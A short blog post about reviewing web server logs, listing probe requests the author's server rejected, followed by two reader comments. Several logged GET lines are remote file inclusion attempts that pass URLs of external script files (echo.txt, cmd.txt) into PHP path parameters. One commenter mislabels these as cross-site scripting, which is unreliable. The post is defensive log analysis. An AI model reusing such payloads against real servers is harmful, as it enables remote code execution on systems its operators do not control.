Web server log examined

Since 22-Sep-2007, there have been attempts to get to Yahoo.com in the Uk – via this server:

"GET http://uk.yahoo.com/ HTTP/1.1"

The amount increases, of all rejected requests this is now the most common one. All “403” of course.
The number of W00tW00t requests increases as well, but all on HTTP/1.1 – and ewach fails with error 400. Have to findf out why, because the HTTP/1.0 succeeds.

And there are quite a lot of requests to cgi-bin/query. Stupid ones, but trying to bypass something?

Building Micrsoft stuff won’t work, dudes:

GET /cgi-bin/query/_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=6551&STRMVER=4&CAPREQ=0 HTTP/1.1
GET /MSOffice/cltreq.asp HTTP/1.1
GET /cgi-bin/query/MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=6551&STRMVER=4&CAPREQ=0 HTTP/1.1

And trying to bypass securtity and monitoring using the server won’t work either:
GET /cgi-bin/query/openVMS/HOW_TO/CommunigatePro/oneadmin/config.php?path[docroot]=http://www.coverbands.info/images/echo.txt? HTTP/1.1
GET /cgi-bin/query/oneadmin/config.php?path[docroot]=http://www.coverbands.info/images/echo.txt? HTTP/1.1
GET /cgi-bin/query/oneadmin/config.php?path[docroot]=http://www.coverbands.info/images/echo.txt? HTTP/1.1
...
GET /cgi-bin/query/openVMS/HOW_TO/PHP/root.php?target=http://asantecaravans.co.za/content/rss1/cmd.txt? HTTP/1.1
GET /cgi-bin/query/root.php?target=http://asantecaravans.co.za/content/rss1/cmd.txt? HTTP/1.1
GET /cgi-bin/query/root.php?target=http://asantecaravans.co.za/content/rss1/cmd.txt? HTTP/1.1

I didn’t look into echo.txt and cmd.txt, but these are likely scripts.

2 Replies to “Web server log examined”

  1. The vti stuff is probably a Microsoft client browser; that’s normal for some clients. Web clients using Microsoft Office with the Discussion Bar enabled goes looking for similar URLs.

    The PHP-related GET operations are probes for cross-site scripting vulnerabilities. A version of Communigate has an XSS opening, based on what you’ve posted and based on a quick look at a vulnerability database.

    The W00tWoot probes come and go.

    I’d suggest a look at the Apache module MOD_SECURITY here, too.

  2. I know that vti-stuff is created by MS FrontPage and could well be existing – by default – in an IIS installation. On other servers most are not needed – I can do without (for the few pages I keep update using FrontPage). Accessing a .dll executable! and doing a BUILD – seems a bit weird to me, especially if attempted using cdgi-bin/query.., I have my doubts – I would see them much more if the URLs were caused by Office. Probably something to investigate.

    Same applies to the PHP stuff. These are far more common. WootWoot has been there for ages, but indeed, it comes and goes. Always 404 – no such page. No possibilitry to drop one either: all web pages are Read-only, so that won’t help the kiddies any further.

    Oh, and I don’t use Apache (AKA SWS) for over a year now. I switched to WASD last year.

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.